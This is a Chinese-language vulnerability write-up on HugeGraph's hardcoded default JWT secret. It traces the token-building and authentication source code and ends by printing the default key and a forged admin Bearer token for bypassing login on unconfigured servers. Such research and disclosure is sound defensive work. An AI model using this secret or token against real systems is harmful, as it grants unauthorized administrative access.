漏洞成因及利用条件

用户启用了认证但未配置auth.token_secret时,HugeGraph将使用一个硬编码的默认JWT密匙,默认密匙可以在官方文档中看到,其值为FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。

JWT构造规则分析

因为代码文件太多了,所以找JWT构造规则的时候会比较困难,所以,可以想到哪里会利用JWT的构造,就是登录的时候。

先找到LoginAPI,其中登录的部分

看到token构造的代码在这段里。

try {  
    String token = manager.authManager().loginUser(jsonLogin.name, jsonLogin.password);  
    HugeGraph g = graph(manager, graph);  
    return manager.serializer(g).writeMap(ImmutableMap.of("token", token));}

然后可以跟进到GraphManager的authManager()方法中

public AuthManager authManager() {  
    return this.authenticator().authManager();  
}

可以发现没有我们需要的信息,并且返回一堆函数的调用,所以继续跟进到authenticator()

private HugeAuthenticator authenticator() {  
    E.checkState(this.authenticator != null,  
                 "Unconfigured authenticator, please config " +  
                 "auth.authenticator option in rest-server.properties");  
    return this.authenticator;  
}

该方法只是检查this.authenticator是否为空,如果为空就会抛出异常,不为空就重新返回authenticator。

所以跟进authManager().loginUser方法,在src/main/resources /StandardAuthManager.java中。

public String loginUser(String username, String password)  
        throws AuthenticationException {  
    HugeUser user = this.matchUser(username, password);  
    if (user == null) {  
        String msg = "Incorrect username or password";  
        throw new AuthenticationException(msg);  
    }  
  
    Map<String, ?> payload = ImmutableMap.of(AuthConstant.TOKEN_USER_NAME,  
                                             username,  
                                             AuthConstant.TOKEN_USER_ID,  
                                             user.id.asString());  
    String token = this.tokenGenerator.create(payload, this.tokenExpire);  
  
    this.tokenCache.update(IdGenerator.of(token), username);  
    return token;  
}

这段代码可以发现构造JWT中需要的一部分参数,AuthConstant.TOKEN_USER_NAME以及AuthConstant.TOKEN_USER_ID,进入AuthConstant接口,可以发现这俩个参数就是user_name以及user_id,还有一个tokenExpire 参数,不确定是有什么作用。

继续跟进tokenGenerator.create,找到auth/TokenGenerator.java文件

public String create(Map<String, ?> payload, long expire) {  
    return Jwts.builder()  
               .setClaims(payload)  
               .setExpiration(new Date(System.currentTimeMillis() + expire))  
               .signWith(this.key, SignatureAlgorithm.HS256)  
               .compact();  
}

进而发现构造jwt的参数所需的全部条件。

Token构造分析

用于用户认证的代码主要位于org/apache/hugegraph/api/filter/AuthenticationFilter.java中的authenticate方法

protected User authenticate(ContainerRequestContext context) {  
    GraphManager manager = this.managerProvider.get();  
    E.checkState(manager != null, "Context GraphManager is absent");  
  
    if (!manager.requireAuthentication()) {  
        // Return anonymous user with an admin role if disable authentication  
        return User.ANONYMOUS;  
    }  
  
    // Get peer info  
    Request request = this.requestProvider.get();  
    String peer = null;  
    String path = null;  
    if (request != null) {  
        peer = request.getRemoteAddr() + ":" + request.getRemotePort();  
        path = request.getRequestURI();  
    }  
  
    // Check whiteIp  
    if (enabledWhiteIpCheck == null) {  
        String whiteIpStatus = this.configProvider.get().get(WHITE_IP_STATUS);  
        enabledWhiteIpCheck = Objects.equals(whiteIpStatus, STRING_ENABLE);  
    }  
  
    if (enabledWhiteIpCheck && request != null) {  
        peer = request.getRemoteAddr() + ":" + request.getRemotePort();  
        path = request.getRequestURI();  
  
        String remoteIp = request.getRemoteAddr();  
        Set<String> whiteIpList = manager.authManager().listWhiteIPs();  
        boolean whiteIpEnabled = manager.authManager().getWhiteIpStatus();  
        if (!path.contains(STRING_WHITE_IP_LIST) && whiteIpEnabled &&  
            !whiteIpList.contains(remoteIp)) {  
            throw new ForbiddenException(String.format("Remote ip '%s' is not permitted",  
                                                       remoteIp));  
        }  
    }  
  
    Map<String, String> credentials = new HashMap<>();  
    // Extract authentication credentials  
    String auth = context.getHeaderString(HttpHeaders.AUTHORIZATION);  
    if (auth == null) {  
        throw new NotAuthorizedException("Authentication credentials are required",  
                                         "Missing authentication credentials");  
    }  
  
    if (auth.startsWith(BASIC_AUTH_PREFIX)) {  
        auth = auth.substring(BASIC_AUTH_PREFIX.length());  
        auth = new String(DatatypeConverter.parseBase64Binary(auth), Charsets.ASCII_CHARSET);  
        String[] values = auth.split(":");  
        if (values.length != 2) {  
            throw new BadRequestException("Invalid syntax for username and password");  
        }  
  
        final String username = values[0];  
        final String password = values[1];  
  
        if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) {  
            throw new BadRequestException("Invalid syntax for username and password");  
        }  
  
        credentials.put(HugeAuthenticator.KEY_USERNAME, username);  
        credentials.put(HugeAuthenticator.KEY_PASSWORD, password);  
    } else if (auth.startsWith(BEARER_TOKEN_PREFIX)) {  
        String token = auth.substring(BEARER_TOKEN_PREFIX.length());  
        credentials.put(HugeAuthenticator.KEY_TOKEN, token);  
    } else {  
        throw new BadRequestException("Only HTTP Basic or Bearer authentication is supported");  
    }  
  
    credentials.put(HugeAuthenticator.KEY_ADDRESS, peer);  
    credentials.put(HugeAuthenticator.KEY_PATH, path);  
  
    // Validate the extracted credentials  
    try {  
        return manager.authenticate(credentials);  
    } catch (AuthenticationException e) {  
        throw new NotAuthorizedException("Authentication failed", e.getMessage());  
    }  
}

首先,是Http头的限制

Map<String, String> credentials = new HashMap<>();  
// Extract authentication credentials  
String auth = context.getHeaderString(HttpHeaders.AUTHORIZATION);
if (auth == null) {  
    throw new NotAuthorizedException("Authentication credentials are required",  
                                     "Missing authentication credentials");  
}

这里从AUTHORIZATION中拿出Token,限制了Http头要为AUTHORIZATION并且不为空。

然后开始判断token的开头

if (auth.startsWith(BASIC_AUTH_PREFIX)) {  
    auth = auth.substring(BASIC_AUTH_PREFIX.length());  
    auth = new String(DatatypeConverter.parseBase64Binary(auth), Charsets.ASCII_CHARSET);  
    String[] values = auth.split(":");  
    if (values.length != 2) {  
        throw new BadRequestException("Invalid syntax for username and password");  
    }  
  
    final String username = values[0];  
    final String password = values[1];  
  
    if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) {  
        throw new BadRequestException("Invalid syntax for username and password");  
    }  
  
    credentials.put(HugeAuthenticator.KEY_USERNAME, username);  
    credentials.put(HugeAuthenticator.KEY_PASSWORD, password);  
} else if (auth.startsWith(BEARER_TOKEN_PREFIX)) {  
    String token = auth.substring(BEARER_TOKEN_PREFIX.length());  
    credentials.put(HugeAuthenticator.KEY_TOKEN, token);  
} else {  
    throw new BadRequestException("Only HTTP Basic or Bearer authentication is supported");  
}

首先第一个if判断Authorization 头是否为Basic,如果为Basic就进行账号密码的原始字符串判断,所以开头不能为base。

第二种判断Authorization 头是否为Bearer,这种就是可以利用的JWT认证。

漏洞复现

使用默认密匙构造jwt

按分析构造token

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiJhZG1pbiIsImV4cCI6OTczOTUyNDU2N30.Kc_6-EtUz3J8lS9VZEfsEe4BFYz-GIg7SFFfGQ5VNeE

无token时,返回报错json

加入构造token。

!